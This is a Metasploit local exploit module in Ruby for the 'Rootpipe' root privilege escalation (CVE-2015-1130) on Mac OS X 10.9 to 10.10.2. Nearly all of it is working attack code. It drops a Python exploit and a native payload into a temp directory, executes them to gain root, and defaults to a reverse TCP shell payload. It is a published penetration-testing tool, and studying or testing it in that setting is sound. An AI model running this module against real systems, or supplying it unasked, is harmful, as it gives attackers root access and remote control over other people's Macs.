##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
      'Description' => %q{
        This module exploits a hidden backdoor API in Apple's Admin framework on
        OS X to escalate privileges to root. Dubbed "Rootpipe."

        Tested on Yosemite 10.10.2 and should work on previous versions.

        The patch for this issue was not backported to older releases.
      },
      'Author' => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev', # Copy/paste monkey
        'wvu' # Meta copy/paste monkey
      ],
      'References' => [
        ['CVE', '2015-1130'],
        ['EDB', '36692'],
        ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
      ],
      'DisclosureDate' => 'Apr 9 2015',
      'License' => MSF_LICENSE,
      'Platform' => 'osx',
      'Arch' => ARCH_X86_64,
      'SessionTypes' => ['shell', 'meterpreter'],
      'Targets' => [
        ['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
      ],
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
        'CMD' => '/bin/zsh'
      }
    ))

    register_options([
      OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
      OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
    ])
  end

  def check
    if ver_between(osx_ver, '10.9', '10.10.2')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
    python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
    payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"

    print_status("Writing exploit file as '#{exploit_file}'")
    write_file(exploit_file, python_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status('Executing payload...')
    cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
    cmd_exec(payload_file)
  end

  def osx_ver
    cmd_exec('sw_vers -productVersion').to_s.strip
  end

  def ver_between(a, b, c)
    Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
  end

end